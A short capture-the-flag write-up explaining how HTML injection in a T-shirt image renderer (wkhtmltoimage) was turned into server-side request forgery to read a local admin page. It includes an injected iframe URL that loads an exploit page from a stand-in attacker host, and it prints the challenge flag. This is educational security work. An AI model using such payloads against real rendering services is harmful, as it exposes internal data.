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# Hacker TS
We have some kind of image renderer that places our text onto a T-Shirt image. After some fuzzing, we would find that HTML injection is possible.
If we try to load an external resource (e.g. JavaScript or stylesheet), we can capture the request made by the server, and see that the user agent is `wkhtmltoimage`.
It seems that SSRF vulnerabilities through `wkhtmltoimage` and `wkhtmltopdf` are pretty [well known](http://hassankhanyusufzai.com/SSRF-to-LFI/), so we could craft the following payload to exfiltrate the contents of `http://localhost:5000/admin`.
```markup
```
We can then host the above and load it through an iframe:
`http://challenge.nahamcon.com:32132/exploit?text=%3Ciframe%20src=%22https://ATTACKER_URL/exploit.html%22%3E&color=%2324d600`
The contents of the admin page contains the flag:
```markup
Hi admin! here is your flag:
flag{461e2452088eb397b6138a5934af6231}